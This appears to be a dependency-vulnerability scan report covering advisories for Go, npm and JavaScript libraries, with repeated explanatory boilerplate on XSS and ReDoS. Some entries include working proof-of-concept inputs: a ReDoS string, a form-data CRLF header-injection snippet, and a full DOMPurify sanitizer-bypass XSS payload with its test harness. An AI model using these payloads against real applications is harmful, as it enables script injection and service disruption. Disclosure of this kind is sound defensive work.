Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the html.Parse function due to quadratic parsing complexity when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.
Remediation
Upgrade golang.org/x/net/html to version 0.45.0 or higher.
References
Infinite loop
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Infinite loop via the html.Parse function. An attacker can cause resource exhaustion and disrupt service availability by submitting specially crafted HTML input that triggers an infinite parsing loop.
Remediation
Upgrade golang.org/x/net/html to version 0.45.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the inBodyEndTagOther() function, when rendering sanitized HTML. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input containing unmatched tags.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade golang.org/x/net/html to version 0.55.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the readStartTag() function in the Tokenizer. An attacker can cause the execution of scripts in the context of the affected application by supplying malicious HTML with duplicate attributes.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade golang.org/x/net/html to version 0.55.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the childTextNodesAreLiteral() function in `render.go. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input containing fostered elements that are outside their parent namespace.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade golang.org/x/net/html to version 0.55.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the writeQuoted() function, which does not properly handle > characters in DOCTYPE data. An attacker can cause the execution of scripts in the context of the affected application by providing malicious HTML input that contains unescaped >s.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade golang.org/x/net/html to version 0.55.0 or higher.
References
Inefficient Algorithmic Complexity
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in parse.go, when checking attributes iteratively. An attacker can cause excessive CPU consumption by providing malicious HTML input.
Remediation
Upgrade golang.org/x/net/html to version 0.55.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the truncate function in SDK attribute normalization. When an application records attacker-controlled attribute values with a value-length limit enabled, an attacker can supply strings containing valid U+FFFD runes that truncate fails to count, causing oversized values to be retained and increasing memory use across the span and log pipelines. The same flaw affects auto-instrumentation span attributes in go.opentelemetry.io/otel/trace.
Remediation
Upgrade go.opentelemetry.io/otel/trace to version 1.47.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the truncate function in SDK attribute normalization. When an application records attacker-controlled attribute values with a value-length limit enabled, an attacker can supply strings containing valid U+FFFD runes that truncate fails to count, causing oversized values to be retained and increasing memory use across the span and log pipelines. The same flaw affects auto-instrumentation span attributes in go.opentelemetry.io/otel/trace.
Remediation
Upgrade go.opentelemetry.io/otel/sdk to version 1.47.0 or higher.
References
Asymmetric Resource Consumption (Amplification)
Detailed paths
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the parseMember function in the baggage parser. When Baggage propagation is enabled and extraction processes attacker-controlled headers before authentication or on a public route, an attacker can send a valid near-limit W3C baggage header with thousands of short properties; parsing eagerly materializes and copies property objects, causing disproportionate bounded allocations that increase memory use and garbage-collection pressure under repeated or concurrent requests.
Notes
- At the parsing step, input size bounds the amplification: v1.46.0 and v1.47.0-rc.1 enforce an 8,192-byte raw-input limit and a 64-member limit; earlier releases use a 4,096-byte per-member limit, so the 8,191-byte example does not apply across the full affected range.
Workarounds
- Place authentication middleware before
otelhttpextraction so unauthenticated requests are rejected before attacker-controlled baggage is parsed.
Remediation
Upgrade go.opentelemetry.io/otel/propagation to version 1.47.0 or higher.
References
Asymmetric Resource Consumption (Amplification)
Detailed paths
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the parseMember function in the baggage parser. When Baggage propagation is enabled and extraction processes attacker-controlled headers before authentication or on a public route, an attacker can send a valid near-limit W3C baggage header with thousands of short properties; parsing eagerly materializes and copies property objects, causing disproportionate bounded allocations that increase memory use and garbage-collection pressure under repeated or concurrent requests.
Notes
- At the parsing step, input size bounds the amplification: v1.46.0 and v1.47.0-rc.1 enforce an 8,192-byte raw-input limit and a 64-member limit; earlier releases use a 4,096-byte per-member limit, so the 8,191-byte example does not apply across the full affected range.
Workarounds
- Place authentication middleware before
otelhttpextraction so unauthenticated requests are rejected before attacker-controlled baggage is parsed.
Remediation
Upgrade go.opentelemetry.io/otel/baggage to version 1.47.0 or higher.
References
Improper Validation of Specified Type of Input
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the calls plugin when handling websocket messages containing malformed msgpack frames. An attacker can cause the server to consume excessive memory and crash by sending specially crafted websocket requests.
Remediation
There is no fixed version for github.com/vmihailenco/msgpack/v5.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the ServeHTTP method of ServeMux (runtime/mux.go), which rewrites r.Method from the client-supplied X-HTTP-Method-Override header on form-urlencoded POST requests without restricting the allowed methods. An attacker can reach handlers for restricted verbs such as DELETE, PUT, or PATCH, bypassing method-based access controls enforced at an upstream proxy or WAF, by sending a POST request with Content-Type: application/x-www-form-urlencoded and the override header set to the target method. This requires a deployment where a perimeter proxy or WAF filters on the wire method while trusting the gateway downstream, and a handler must exist for the overridden method.
Note: The WithDisablePathLengthFallback is added in version 2.29.0 but it is disabled by default.
Workaround
This vulnerability can be avoided by stripping the X-HTTP-Method-Override header at the perimeter proxy or WAF, so the enforced wire method is the one the gateway routes on.
Remediation
Upgrade github.com/grpc-ecosystem/grpc-gateway/runtime to version 2.29.0 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion through the JSON parsing process. An attacker can cause the application to crash by submitting deeply nested arrays or objects, leading to stack exhaustion.
Remediation
There is no fixed version for github.com/go-jose/go-jose/v3/json.
References
Improper Validation of Array Index
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Validation of Array Index in the CBC-HMAC decryption process. An attacker can cause a panic and disrupt service availability by submitting specially crafted ciphertext that results in an empty buffer being passed to the unpadding routine. This is only exploitable if applications decrypt attacker-controlled ciphertext using A128CBC-HS256, A192CBC-HS384, or A256CBC-HS512 content-encryption algorithms.
Remediation
Upgrade github.com/go-jose/go-jose/v3/cipher to version 4.1.5 or higher.
References
Improper Handling of Highly Compressed Data (Data Amplification)
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification). An attacker could send a JWE containing compressed data that, when decompressed by Decrypt or DecryptMulti, would use large amounts of memory and CPU.
Remediation
Upgrade github.com/go-jose/go-jose/v3 to version 3.0.3 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the use of strings.Split to split JWT tokens. An attacker can cause memory exhaustion and service disruption by sending numerous malformed tokens with a large number of . characters.
Workaround
This vulnerability can be mitigated by pre-validating that payloads passed to Go JOSE do not contain an excessive number of . characters.
Remediation
Upgrade github.com/go-jose/go-jose/v3 to version 3.0.4 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
foundation-sites is a responsive front-end framework
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to inefficient backtracking in the regular expressions used in URL forms.
PoC
https://www.''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for foundation-sites.
References
CRLF Injection
Detailed paths
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
Inefficient Algorithmic Complexity
Detailed paths
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the readStopNodeData() function in OrderedObjParser.js. An attacker can block the event loop by supplying XML in which a stop node body contains many <a fragments and no closing >, which makes the function rescan the entire remaining input from every <. This affects only applications that set the non-default stopNodes option to match an element in the parsed document.
Remediation
Upgrade fast-xml-parser to version 5.12.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in _sanitizeElements and _sanitizeAttributes in src/purify.ts, which invoke _handleHookDetachedNode only after the beforeSanitizeElements and uponSanitizeElement hooks, so a non-root node removed by an afterSanitizeElements or afterSanitizeAttributes hook keeps its descendants' event handlers armed, and the post-walk neutralization pass covers only entries in DOMPurify.removed, which excludes hook-detached nodes. An attacker can execute script in the page origin under the victim's session by supplying markup with a non-root wrapper whose descendants carry on* handlers, such as an <img onerror>, so a queued resource event fires on the detached subtree after the synchronous sanitize() call has returned. This requires the application to call sanitize() with IN_PLACE: true on a live node and to register a node-removing afterSanitizeElements or afterSanitizeAttributes hook, so callers using the default returning mode or no such hooks are unaffected.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-75838.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.16 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via insufficient sanitization in the HTML purification logic, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser by supplying malicious HTML input that bypasses DOMPurify's filtering.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.16 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the _sanitizeAttributes function when PARSER_MEDIA_TYPE is set to application/xhtml+xml. In XHTML mode, transformCaseFunc is the identity function rather than stringToLowerCase, so the guard that removes attributeName attributes whose value contains href compares the preserved-case name attributeName against the lowercase literal "attributename" and never matches. An attacker can supply SVG content containing an <animate> or <set> element with attributeName="href" and a SMIL values list ending in a javascript: URI, which bypasses link filtering and executes a script in the victim's browser when the parent link is clicked.
Note: This is only exploitable when PARSER_MEDIA_TYPE: 'application/xhtml+xml' is explicitly set and the allowlist includes animate (or set) together with attributeName.
PoC
Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.
Config:
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.
Input:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
Steps:
- Save this as
poc.xhtmlnext topurify.js(3.4.16) and open it in Chrome. The.xhtmlextension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
- The logged output still contains
attributeName="href"andvalues="x;javascript:alert(1)". document.getElementById('q').href.animValreturns"javascript:alert(1)".- Click "click" and
alert(1)runs.
As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.
